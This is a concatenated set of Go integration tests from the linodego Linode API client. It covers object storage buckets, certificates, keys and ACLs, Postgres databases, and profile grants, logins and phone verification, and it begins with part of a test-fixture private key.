A6C4wgBDfwk/S/Sub16w4H6sr0C7MDw7t2cpmMhe+BG4V4a5sX+AjSSdMFBS/pgI uFgeJGBG1evyvp+8SycH7oojf106UH6gERpHmW0WMDf1r8Nueriw9DOKKqL1sJtx w/Diq2/8z2m5ESxL6SrEzagHmjliaNwBpwUlh5P2EMQzNTljE1fnEKl2E6LW35o0 x4zoi3y57HtKcLNtD/GsvRYU8zjHDkDq2tUXwzxCVWmiTs3+NQVTEscJAgAahvbu JZ7hEXzmCR6sjoQIWCHc9Wusf/zt2XNiXYIKUJAQxv9sOgabAoIBAQDLc2Cxlz36 3KcOGkfpWl9cGmS0t8FCOvOVV++7eNiWv0kKVdbwqqJYExmX4jmv2E1LfQ4G1vAh GtG7YN0rEzwLWiqd/frNLgMya7lYuCpWzxCNDoHIAtBvjPhyHRFFhLayxSsxRZLT PnKo2u9NjhPpm7RD+4b9uy++61jkDXK//ezI47oJWxCOxfyzaeejV8Iu9jHwKJ1o NpebAdPnlXU3itxaXvJIZiguHtNioTs1E6Ik433AC3Tb57Xy57lGXnOORm5Ximel aJsB9dsh9rKsNScp+9VSD0ef7Cr8oZH0gOI+pmNnnXt+cOxH9Du4lvBql59QR9FY MbbigpvtJ6ozAoIBAG588ZV5sxJsOVGfhhrII9OWIEtCiTgXISWJFrAWctAfU5fO hZCPzaXPP9Fd8nD8eq8o53h8+GQ//qQ37CLsvFLtYeSN5JpQ/C0xkxo8u+zX+Hbt TizUDH+W+Kr5GtCAFhipKO+UVa0uEJGiy+WMCUhzb7RVu/MoKOSodDXtdJMgixG0 E3boijEdXYRMXB6XQ3IefVlGTs10d1qEMnvctbX/6degoz82Nmp6Sy17g50n0+tE veT12+4+tGkSTQOtvYJhadaf45kNmsgJO5iUTKRsDJgSEKhIVhqvhAm1Z/+d4Qzf DzKvpvqdoMnho6CDF3r+kpiHxG0hzQafWQUcmt8CggEARD1461hNY71rEyHhiPXV EnGP4cXYvrxDQ45xTLJmA3o5p4vPQn4ZYe1WIkmxC7hDhNR3RfgGJzR1sKH2zSHw e+ZMcR3lZ7jNPbZAPu/W07M0W/vHsCyxeRkRpET3rBetqBzWNfqeGtjRYK2+oobL Swn81uihCK4mf6U09ZlFKfyj1WX82nJ/BUSHVC5rkbA348SUT3dwBKp7A3UDfKP2 4yBidLVwErShOYcBZA2sbEsfkbv0S9wL4E7CCq2KyX2YyNn63MYBqcuCYo/yZlv2 5igV8NEVZibV4WA3svEGoboxKM5qfTCnYWvC9QeImIuYLEibGTRdlXVnYGZqoosx XQKCAQEAmEbm8o37QaSMWYu/hixusHWprPRpEcz8qMmpenCTUeE7xgKeJupSx/2u s5WSGJy7U6jlmocMOsZ3/nPWNG219uWMUWz2REKi99KOHU7dT8N0OPigNzDBJFKe uJpHU2wWkg9CJtkDlQt+4/JP3gzskwpooRvUaEbsQkM0G/A1SMVSyYPuzBui3+E7 HMuBpZsWkNKLh0hjC5i7YBZYtXGYPG2JCEE4mpiV8ClxTvmijsr8sYUOtnmIBXfG 0fcsLA4W7xYCUqr74LA1dMQd6f8T00mZycR5eh0wXJ68i5QEotBTGS8ibTilUJbx 7aJXvW2Q3oCt1sF576QNr9rLxhHl8A== -----END PRIVATE KEY----- ` ) func TestObjectStorageBucketCert(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestObjectStorageBucketCert") bucket, err := client.CreateObjectStorageBucket(context.Background(), linodego.ObjectStorageBucketCreateOptions{ Cluster: "us-east-1", Label: "linode-obj-bucket-cert-test.xyz", }) if err != nil { t.Fatalf("failed to create bucket: %s", err) } defer func() { if err := client.DeleteObjectStorageBucket(context.Background(), bucket.Cluster, bucket.Label); err != nil { if t != nil { t.Errorf("Error deleting test Bucket: %s", err) } } fixtureTeardown() }() _, err = client.UploadObjectStorageBucketCert(context.TODO(), bucket.Cluster, bucket.Label, linodego.ObjectStorageBucketCertUploadOptions{ Certificate: testCertifcate, PrivateKey: testPrivateKey, }) if err != nil { t.Fatalf("failed to upload bucket cert: %s", err) } defer func() { if err := client.DeleteObjectStorageBucketCert(context.TODO(), bucket.Cluster, bucket.Label); err != nil { t.Errorf("failed to delete bucket cert: %s", err) } }() cert, err := client.GetObjectStorageBucketCert(context.TODO(), bucket.Cluster, bucket.Label) if err != nil { t.Fatalf("failed to get bucket cert: %s", err) } if !cert.SSL { t.Fatalf("expected cert.SSL to be true; got false") } } golang-github-linode-linodego-1.28.0/test/integration/object_storage_buckets_test.go000066400000000000000000000146501455402072200310100ustar00rootroot00000000000000package integration import ( "context" "testing" . "github.com/linode/linodego" ) var testObjectStorageBucketCreateOpts = ObjectStorageBucketCreateOptions{ Cluster: "us-east-1", Label: "go-bucket-test-def", } func TestObjectStorageBucket_Create_smoke(t *testing.T) { _, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_Create") defer teardown() if err != nil { t.Errorf("Error creating Object Storage Bucket, got error %v", err) } expected := testObjectStorageBucketCreateOpts // when comparing fixtures to random value Label will differ, compare the known prefix if bucket.Label != expected.Label || bucket.Cluster != expected.Cluster { t.Errorf("Object Storage Bucket did not match CreateOptions") } assertDateSet(t, bucket.Created) } func TestObjectStorageBucket_GetMissing(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_GetMissing") defer teardown() sameLabel := bucket.Label differentCluster := "us-west-1" i, err := client.GetObjectStorageBucket(context.Background(), differentCluster, sameLabel) if err == nil { t.Errorf("should have received an error requesting a missing ObjectStorageBucket, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing ObjectStorageBucket, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing ObjectStorageBucket, got %v", e.Code) } } func TestObjectStorageBucket_GetFound(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_GetFound") defer teardown() if err != nil { t.Error(err) } i, err := client.GetObjectStorageBucket(context.Background(), bucket.Cluster, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket, expected struct, got %v and error %v", i, err) } if i.Label != bucket.Label { t.Errorf("Expected a specific ObjectStorageBucket, but got a different one %v", i) } expected := testObjectStorageBucketCreateOpts // when comparing fixtures to random value Label will differ, compare the known prefix if bucket.Label != expected.Label || bucket.Cluster != expected.Cluster { t.Errorf("Object Storage Bucket did not match CreateOptions") } } func TestObjectStorageBuckets_List_smoke(t *testing.T) { client, _, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBuckets_List") defer teardown() i, err := client.ListObjectStorageBuckets(context.Background(), nil) if err != nil { t.Errorf("Error listing ObjectStorageBuckets, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ObjectStorageBuckets, but got none %v", i) } else if i[0].Label == "" || i[0].Cluster == "" { t.Errorf("Listed Object Storage Bucket did not have attribuets %v", i) } } func TestObjectStorageBucketsInCluster_List(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucketsInCluster_List") defer teardown() i, err := client.ListObjectStorageBucketsInCluster(context.Background(), nil, bucket.Cluster) if err != nil { t.Errorf("Error listing ObjectStorageBucketsInCluster, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ObjectStorageBucketsInCluster, but got none %v", i) } else if i[0].Label == "" || i[0].Cluster == "" { t.Errorf("Listed Object Storage Bucket in Cluster did not have attribuets %v", i) } } func TestObjectStorageBucket_Access_Get(t *testing.T) { corsEnabled := false createOpts := ObjectStorageBucketCreateOptions{ ACL: ACLAuthenticatedRead, CorsEnabled: &corsEnabled, } client, bucket, teardown, err := setupObjectStorageBucket(t, []objectStorageBucketModifier{ func(opts *ObjectStorageBucketCreateOptions) { opts.ACL = createOpts.ACL opts.CorsEnabled = createOpts.CorsEnabled }, }, "fixtures/TestObjectStorageBucket_Access_Get") defer teardown() newBucket, err := client.GetObjectStorageBucketAccess(context.Background(), bucket.Cluster, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket access, got error %s", err) } if newBucket.CorsEnabled != corsEnabled { t.Errorf("ObjectStorageBucket access CORS does not match update, expected %t, got %t", corsEnabled, newBucket.CorsEnabled) } if newBucket.ACL != createOpts.ACL { t.Errorf("ObjectStorageBucket access ACL does not match update, expected %s, got %s", createOpts.ACL, newBucket.ACL) } } func TestObjectStorageBucket_Access_Update(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_Access_Update") defer teardown() corsEnabled := false opts := ObjectStorageBucketUpdateAccessOptions{ ACL: ACLPrivate, CorsEnabled: &corsEnabled, } err = client.UpdateObjectStorageBucketAccess(context.Background(), bucket.Cluster, bucket.Label, opts) if err != nil { t.Errorf("Error updating ObjectStorageBucket access, got error %s", err) } newBucket, err := client.GetObjectStorageBucketAccess(context.Background(), bucket.Cluster, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket access, got error %s", err) } if newBucket.CorsEnabled != corsEnabled { t.Errorf("ObjectStorageBucket access CORS does not match update, expected %t, got %t", corsEnabled, newBucket.CorsEnabled) } if newBucket.ACL != opts.ACL { t.Errorf("ObjectStorageBucket access ACL does not match update, expected %s, got %s", opts.ACL, newBucket.ACL) } } type objectStorageBucketModifier func(*ObjectStorageBucketCreateOptions) func setupObjectStorageBucket(t *testing.T, bucketModifiers []objectStorageBucketModifier, fixturesYaml string) (*Client, *ObjectStorageBucket, func(), error) { t.Helper() createOpts := testObjectStorageBucketCreateOpts for _, modifier := range bucketModifiers { modifier(&createOpts) } client, fixtureTeardown := createTestClient(t, fixturesYaml) bucket, err := client.CreateObjectStorageBucket(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test Bucket: %s", err) } teardown := func() { if err := client.DeleteObjectStorageBucket(context.Background(), bucket.Cluster, bucket.Label); err != nil { if t != nil { t.Errorf("Error deleting test Bucket: %s", err) } } fixtureTeardown() } return client, bucket, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/object_storage_clusters_test.go000066400000000000000000000010221455402072200312010ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestObjectStorageClusters_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestObjectStorageClusters_List") defer teardown() objectStorageClusters, err := client.ListObjectStorageClusters(context.Background(), nil) if err != nil { t.Errorf("Error listing objectStorageClusters, expected struct - error %v", err) } if len(objectStorageClusters) == 0 { t.Errorf("Expected a list of objectStorageClusters - %v", objectStorageClusters) } } golang-github-linode-linodego-1.28.0/test/integration/object_storage_keys_test.go000066400000000000000000000132211455402072200303140ustar00rootroot00000000000000package integration import ( "context" "strings" "testing" "github.com/google/go-cmp/cmp" . "github.com/linode/linodego" ) var testBasicObjectStorageKeyCreateOpts = ObjectStorageKeyCreateOptions{ Label: label, } func TestObjectStorageKey_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestObjectStorageKey_GetMissing") defer teardown() notfoundID := 123 i, err := client.GetObjectStorageKey(context.Background(), notfoundID) if err == nil { t.Errorf("should have received an error requesting a missing object storage key, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing object storage key, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing object storage key, got %v", e.Code) } } func TestObjectStorageKey_GetFound(t *testing.T) { client, objectStorageKey, teardown, err := setupObjectStorageKey(t, testBasicObjectStorageKeyCreateOpts, "fixtures/TestObjectStorageKey_GetFound") defer teardown() if err != nil { t.Error(err) } i, err := client.GetObjectStorageKey(context.Background(), objectStorageKey.ID) if err != nil { t.Errorf("Error getting objectStorageKey, expected struct, got %v and error %v", i, err) } if i.ID != objectStorageKey.ID { t.Errorf("Expected objectStorageKey id %d, but got %d", i.ID, objectStorageKey.ID) } if testBasicObjectStorageKeyCreateOpts.Label != objectStorageKey.Label { t.Errorf("Expected objectStorageKey label '%s', but got '%s'", testBasicObjectStorageKeyCreateOpts.Label, objectStorageKey.Label) } if objectStorageKey.BucketAccess != nil || objectStorageKey.Limited { t.Errorf("Expected objectStorageKey to have full permissions, but got %v, %v", objectStorageKey.Limited, objectStorageKey.BucketAccess) } } func TestObjectStorageKey_Update(t *testing.T) { client, objectStorageKey, teardown, err := setupObjectStorageKey(t, testBasicObjectStorageKeyCreateOpts, "fixtures/TestObjectStorageKey_Update") defer teardown() if err != nil { t.Error(err) } renamedLabel := objectStorageKey.Label + "_r" updateOpts := ObjectStorageKeyUpdateOptions{ Label: renamedLabel, } objectStorageKey, err = client.UpdateObjectStorageKey(context.Background(), objectStorageKey.ID, updateOpts) if err != nil { t.Errorf("Error renaming objectStorageKey, %s", err) } if !strings.Contains(objectStorageKey.Label, renamedLabel) { t.Errorf("objectStorageKey returned does not match objectStorageKey update request, %v", objectStorageKey) } if objectStorageKey.BucketAccess != nil || objectStorageKey.Limited { t.Errorf("Expected objectStorageKey to have full permissions, but got %v, %v", objectStorageKey.Limited, objectStorageKey.BucketAccess) } } func TestObjectStorageKeys_List(t *testing.T) { client, objkey, teardown, err := setupObjectStorageKey(t, testBasicObjectStorageKeyCreateOpts, "fixtures/TestObjectStorageKey_List") defer teardown() if err != nil { t.Error(err) } objectStorageKeys, err := client.ListObjectStorageKeys(context.Background(), nil) if err != nil { t.Errorf("Error listing objectStorageKeys, expected struct, got error %v", err) } if len(objectStorageKeys) == 0 { t.Errorf("Expected a list of objectStorageKeys, but got %v", objectStorageKeys) } notFound := true for i := range objectStorageKeys { if objectStorageKeys[i].Label == objkey.Label { notFound = false break } } if notFound { t.Errorf("Expected to find created objectStorageKey, but '%s' was not found", objkey.Label) } } func TestObjectStorageKeys_Limited(t *testing.T) { _, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageKeys_Limited_Bucket") defer teardown() createOpts := testBasicObjectStorageKeyCreateOpts createOpts.BucketAccess = &[]ObjectStorageKeyBucketAccess{ { Cluster: "us-east-1", BucketName: bucket.Label, Permissions: "read_only", }, { Cluster: "us-east-1", BucketName: bucket.Label, Permissions: "read_write", }, } _, objectStorageKey, teardown, err := setupObjectStorageKey(t, createOpts, "fixtures/TestObjectStorageKeys_Limited") defer teardown() if err != nil { t.Error(err) } if !objectStorageKey.Limited || !cmp.Equal(objectStorageKey.BucketAccess, createOpts.BucketAccess) { t.Errorf("objectStorageKey returned (%v) does not match objectStorageKey creation request (%v)", *objectStorageKey.BucketAccess, *createOpts.BucketAccess) } } func TestObjectStorageKeys_Limited_NoAccess(t *testing.T) { createOpts := testBasicObjectStorageKeyCreateOpts createOpts.BucketAccess = &[]ObjectStorageKeyBucketAccess{} _, objectStorageKey, teardown, err := setupObjectStorageKey(t, createOpts, "fixtures/TestObjectStorageKeys_Limited_NoAccess") defer teardown() if err != nil { t.Error(err) } if !objectStorageKey.Limited || objectStorageKey.BucketAccess == nil || len(*objectStorageKey.BucketAccess) != 0 { t.Errorf("objectStorageKey returned access, %v, %v", objectStorageKey.Limited, objectStorageKey.BucketAccess) } } func setupObjectStorageKey(t *testing.T, createOpts ObjectStorageKeyCreateOptions, fixturesYaml string) (*Client, *ObjectStorageKey, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) objectStorageKey, err := client.CreateObjectStorageKey(context.Background(), createOpts) if err != nil { t.Errorf("Error creating ObjectStorageKey: %v", err) } teardown := func() { if err := client.DeleteObjectStorageKey(context.Background(), objectStorageKey.ID); err != nil { t.Errorf("Expected to delete a objectStorageKey, but got %v", err) } fixtureTeardown() } return client, objectStorageKey, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/object_storage_object_test.go000066400000000000000000000070741455402072200306200ustar00rootroot00000000000000package integration import ( "bytes" "context" "net/http" "testing" "github.com/linode/linodego" ) var objectStorageObjectURLExpirySeconds = 360 func putObjectStorageObject(t *testing.T, client *linodego.Client, bucket *linodego.ObjectStorageBucket, name, content string) { t.Helper() url, err := client.CreateObjectStorageObjectURL(context.TODO(), bucket.Cluster, bucket.Label, linodego.ObjectStorageObjectURLCreateOptions{ Name: name, Method: http.MethodPut, ContentType: "text/plain", ExpiresIn: &objectStorageObjectURLExpirySeconds, }) if err != nil { t.Errorf("failed to get object PUT url: %s", err) } rec, teardownRecorder := testRecorder(t, "fixtures/TestObjectStorageObject_ACLConfig_Bucket_Put", testingMode, nil) defer teardownRecorder() httpClient := http.Client{Transport: rec} req, err := http.NewRequest(http.MethodPost, url.URL, bytes.NewReader([]byte(content))) if err != nil { t.Errorf("failed to build request: %s", err) } req.Method = http.MethodPut req.Header.Add("Content-Type", "text/plain") res, err := httpClient.Do(req) if err != nil { t.Errorf("failed to make request: %s", err) } if res.StatusCode != 200 { t.Errorf("expected status code to be 200; got %d", res.StatusCode) } } func deleteObjectStorageObject(t *testing.T, client *linodego.Client, bucket *linodego.ObjectStorageBucket, name string) { t.Helper() url, err := client.CreateObjectStorageObjectURL(context.TODO(), bucket.Cluster, bucket.Label, linodego.ObjectStorageObjectURLCreateOptions{ Name: name, Method: http.MethodDelete, ExpiresIn: &objectStorageObjectURLExpirySeconds, }) if err != nil { t.Errorf("failed to get object PUT url: %s", err) } rec, teardownRecorder := testRecorder(t, "fixtures/TestObjectStorageObject_ACLConfig_Bucket_Delete", testingMode, nil) defer teardownRecorder() httpClient := http.Client{Transport: rec} req, err := http.NewRequest(http.MethodPost, url.URL, nil) if err != nil { t.Errorf("failed to build request: %s", err) } req.Method = http.MethodDelete res, err := httpClient.Do(req) if res.StatusCode != 204 { t.Errorf("expected status code to be 204; got %d", res.StatusCode) } } func TestObjectStorageObject_ACLConfig_Update(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageObject_ACLConfig_Update") if err != nil { t.Fatalf("failed to create Object Storage Object: %s", err) } defer teardown() object := "test" putObjectStorageObject(t, client, bucket, object, "testing123") defer deleteObjectStorageObject(t, client, bucket, object) config, err := client.GetObjectStorageObjectACLConfig(context.TODO(), bucket.Cluster, bucket.Label, object) if err != nil { t.Errorf("failed to get ACL config: %s", err) } if config.ACL != "private" { t.Errorf("expected ACL to be private; got %s", config.ACL) } if config.ACLXML == "" { t.Error("expected ACL XML to be included") } updateOpts := linodego.ObjectStorageObjectACLConfigUpdateOptions{ACL: "public-read", Name: object} if _, err = client.UpdateObjectStorageObjectACLConfig(context.TODO(), bucket.Cluster, bucket.Label, updateOpts); err != nil { t.Errorf("failed to update ACL config: %s", err) } config, err = client.GetObjectStorageObjectACLConfig(context.TODO(), bucket.Cluster, bucket.Label, object) if err != nil { t.Errorf("failed to get updated ACL config: %s", err) } if config.ACL != updateOpts.ACL { t.Errorf("expected ACL config to be %s; got %s", updateOpts.ACL, config.ACL) } if config.ACLXML == "" { t.Error("expected ACL XML to be included") } } golang-github-linode-linodego-1.28.0/test/integration/object_storage_test.go000066400000000000000000000013721455402072200272650ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/jarcoal/httpmock" ) func TestObjectStorage_Get_Transfer(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestObjectStorage_transfer") defer teardown() _, err := client.GetObjectStorageTransfer(context.Background()) if err != nil { t.Errorf("unable to get object storage transfer data : %s", err) } } func TestObjectStorage_Cancel(t *testing.T) { client := createMockClient(t) desiredResponse := make(map[string]interface{}) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/object-storage/cancel"), httpmock.NewJsonResponderOrPanic(200, &desiredResponse)) err := client.CancelObjectStorage(context.Background()) if err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.28.0/test/integration/postgres_test.go000066400000000000000000000163131455402072200261420ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "time" "github.com/dnaeon/go-vcr/recorder" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestDatabase_Postgres_Suite(t *testing.T) { client, database, teardown, err := setupPostgresDatabase(t, nil, "fixtures/TestDatabase_Postgres_Suite") if err != nil { t.Error(err) } defer teardown() postgresdbs, err := client.ListPostgresDatabases(context.Background(), nil) if len(postgresdbs) == 0 { t.Errorf("Expected a list of Databases, but got none: %v", err) } if err != nil { t.Errorf("Error listing Databases, expected struct, got error %v", err) } success := false for _, db := range postgresdbs { if db.ID == database.ID { success = true } } if !success { t.Error("database not in database list") } db, err := client.GetPostgresDatabase(context.Background(), database.ID) if err != nil { t.Errorf("Error viewing postgres database: %v", err) } if db.ID != database.ID { t.Errorf("got wrong db from GetPostgresDatabase: %v", db) } week := 3 updatedWindow := linodego.DatabaseMaintenanceWindow{ DayOfWeek: linodego.DatabaseMaintenanceDayWednesday, Duration: 1, Frequency: linodego.DatabaseMaintenanceFrequencyMonthly, HourOfDay: 8, WeekOfMonth: &week, } allowList := []string{"128.173.205.21", "123.177.200.20"} updatedLabel := database.Label + "-updated" opts := linodego.PostgresUpdateOptions{ AllowList: &allowList, Label: updatedLabel, Updates: &updatedWindow, } db, err = client.UpdatePostgresDatabase(context.Background(), database.ID, opts) if err != nil { t.Errorf("failed to update db %d: %v", database.ID, err) } waitForDatabaseUpdated(t, client, db.ID, linodego.DatabaseEngineTypePostgres, db.Created) if db.ID != database.ID { t.Errorf("updated db does not match original id") } if db.Label != updatedLabel { t.Errorf("label not updated for db") } if !reflect.DeepEqual(db.Updates, updatedWindow) { t.Errorf("db maintenance window does not match update opts: %v", cmp.Diff(db.Updates, updatedWindow)) } ssl, err := client.GetPostgresDatabaseSSL(context.Background(), database.ID) if err != nil { t.Errorf("failed to get ssl cert for db: %v", err) } if ssl == nil { t.Error("failed to get ssl cert for db") } creds, err := client.GetPostgresDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Minute * 5) } err = client.ResetPostgresDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to reset credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Second * 15) } newcreds, err := client.GetPostgresDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get new credentials for db: %v", err) } if creds.Password == newcreds.Password { t.Error("credentials have not changed for db") } if testingMode == recorder.ModeRecording { time.Sleep(time.Minute * 5) } if err := client.PatchPostgresDatabase(context.Background(), database.ID); err != nil { t.Fatalf("failed to patch database: %s", err) } // Wait for the DB to enter updating status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypePostgres, linodego.DatabaseStatusUpdating, 240); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } // Wait for the DB to re-enter active status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypePostgres, linodego.DatabaseStatusActive, 2400); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } backupLabel := "postgresbackupforlinodego" backupOptions := linodego.PostgresBackupCreateOptions{ Label: backupLabel, Target: linodego.PostgresDatabaseTargetPrimary, } if err := client.CreatePostgresDatabaseBackup(context.Background(), database.ID, backupOptions); err != nil { t.Errorf("failed to create db backup: %v", err) } backup, err := client.WaitForPostgresDatabaseBackup(context.Background(), database.ID, backupLabel, 1200) if err != nil { t.Fatalf("failed to wait for backup: %s", err) } if backup.Label != backupLabel { t.Fatalf("backup label mismatch: %v != %v", backupLabel, backup.Label) } backup, err = client.GetPostgresDatabaseBackup(context.Background(), database.ID, backup.ID) if err != nil { t.Errorf("failed to get backup %d for db: %v", backup.ID, err) } if backup.Label != backupLabel { t.Fatalf("backup label mismatch: %v != %v", backupLabel, backup.Label) } // Wait for the DB to re-enter active status before final deletion if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypePostgres, linodego.DatabaseStatusActive, 2400); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } } type postgresDatabaseModifier func(options *linodego.PostgresCreateOptions) func createPostgresDatabase(t *testing.T, client *linodego.Client, databaseMofidiers []postgresDatabaseModifier, ) (*linodego.PostgresDatabase, func(), error) { t.Helper() createOpts := linodego.PostgresCreateOptions{ Label: "go-postgres-testing-def", Region: getRegionsWithCaps(t, client, []string{"Managed Databases"})[0], Type: "g6-nanode-1", Engine: "postgresql/14.6", Encrypted: false, SSLConnection: false, ClusterSize: 3, ReplicationType: linodego.PostgresReplicationAsynch, AllowList: []string{"203.0.113.1", "192.0.1.0/24"}, } for _, modifier := range databaseMofidiers { modifier(&createOpts) } database, err := client.CreatePostgresDatabase(context.Background(), createOpts) if err != nil { t.Fatalf("failed to create database: %s", err) } // We should retry on db cleanup teardown := func() { ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second) defer cancel() ticker := time.NewTicker(client.GetPollDelay()) defer ticker.Stop() for { select { case <-ticker.C: err := client.DeletePostgresDatabase(ctx, database.ID) if err == nil { return } if lErr, ok := err.(*linodego.Error); ok && lErr.Code == 500 { continue } t.Fatalf("failed to delete database: %s", err) case <-ctx.Done(): t.Fatalf("failed to retry database deletion: %s", ctx.Err()) } } } return database, teardown, nil } func setupPostgresDatabase(t *testing.T, databaseMofidiers []postgresDatabaseModifier, fixturesYaml string, ) (*linodego.Client, *linodego.PostgresDatabase, func(), error) { t.Helper() now := time.Now() client, fixtureTeardown := createTestClient(t, fixturesYaml) database, databaseTeardown, err := createPostgresDatabase(t, client, databaseMofidiers) if err != nil { t.Fatalf("failed to create db: %s", err) } _, err = client.WaitForEventFinished(context.Background(), database.ID, linodego.EntityDatabase, linodego.ActionDatabaseCreate, now, 3600) if err != nil { t.Fatalf("failed to wait for db create event: %s", err) } teardown := func() { databaseTeardown() fixtureTeardown() } return client, database, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/profile_grants_list_test.go000066400000000000000000000047151455402072200303500ustar00rootroot00000000000000package integration import ( "context" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "reflect" "testing" ) func TestGrantsList(t *testing.T) { //username := usernamePrefix + "grantslist" client := createMockClient(t) accessLevel := linodego.AccessLevelReadOnly desiredResponse := linodego.GrantsListResponse{ Database: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_write", }, }, Domain: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_only", }, }, Firewall: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_only", }, }, Image: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_only", }, }, Linode: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_write", }, }, Longview: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_write", }, }, NodeBalancer: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_only", }, }, StackScript: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_only", }, }, Volume: []linodego.GrantedEntity{ { ID: 1, Label: "example-entity-label", Permissions: "read_only", }, }, Global: linodego.GlobalUserGrants{ AccountAccess: &accessLevel, AddDomains: false, AddDatabases: true, AddFirewalls: false, AddImages: true, AddLinodes: true, AddLongview: true, AddNodeBalancers: true, AddStackScripts: true, AddVolumes: false, CancelAccount: false, LongviewSubscription: true, }, } httpmock.RegisterRegexpResponder( "GET", mockRequestURL(t, "/profile/grants"), httpmock.NewJsonResponderOrPanic(200, &desiredResponse), ) grants, err := client.GrantsList(context.Background()) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*grants, desiredResponse) { t.Fatalf( "actual response does not equal desired response: %s", cmp.Diff(grants, desiredResponse), ) } } golang-github-linode-linodego-1.28.0/test/integration/profile_logins_test.go000066400000000000000000000013321455402072200273020ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestProfileLogins_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestProfileLogins_List") defer teardown() logins, err := client.ListProfileLogins(context.Background(), nil) if err != nil { t.Errorf("Error getting Profile Logins, expected struct, got error %v", err) } if len(logins) < 1 { t.Errorf("Expected to see at least one Profile Login") } login := logins[0] response, err := client.GetProfileLogin(context.Background(), login.ID) if err != nil { t.Errorf("Failed to get one Profile Login: %v", err) } if response.Username != login.Username { t.Fatal("Recieved Profile Login Username does not match source") } } golang-github-linode-linodego-1.28.0/test/integration/profile_phone_number_test.go000066400000000000000000000024021455402072200304670ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestPhoneNumber_SendVerificationCode(t *testing.T) { client := createMockClient(t) requestData := linodego.SendPhoneNumberVerificationCodeOptions{ ISOCode: "US", PhoneNumber: "137-137-1337", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/phone-number"), mockRequestBodyValidate(t, requestData, nil)) if err := client.SendPhoneNumberVerificationCode(context.Background(), requestData); err != nil { t.Fatal(err) } } func TestPhoneNumber_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "/profile/phone-number"), httpmock.NewStringResponder(200, "{}")) if err := client.DeletePhoneNumber(context.Background()); err != nil { t.Fatal(err) } } func TestPhoneNumber_Verify(t *testing.T) { client := createMockClient(t) requestData := linodego.VerifyPhoneNumberOptions{ OTPCode: "123456", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/phone-number/verify"), mockRequestBodyValidate(t, requestData, nil)) if err := client.VerifyPhoneNumber(context.Background(), requestData); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.28.0/test/integration/profile_security_questions_test.go000066400000000000000000000025541455402072200317770ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func 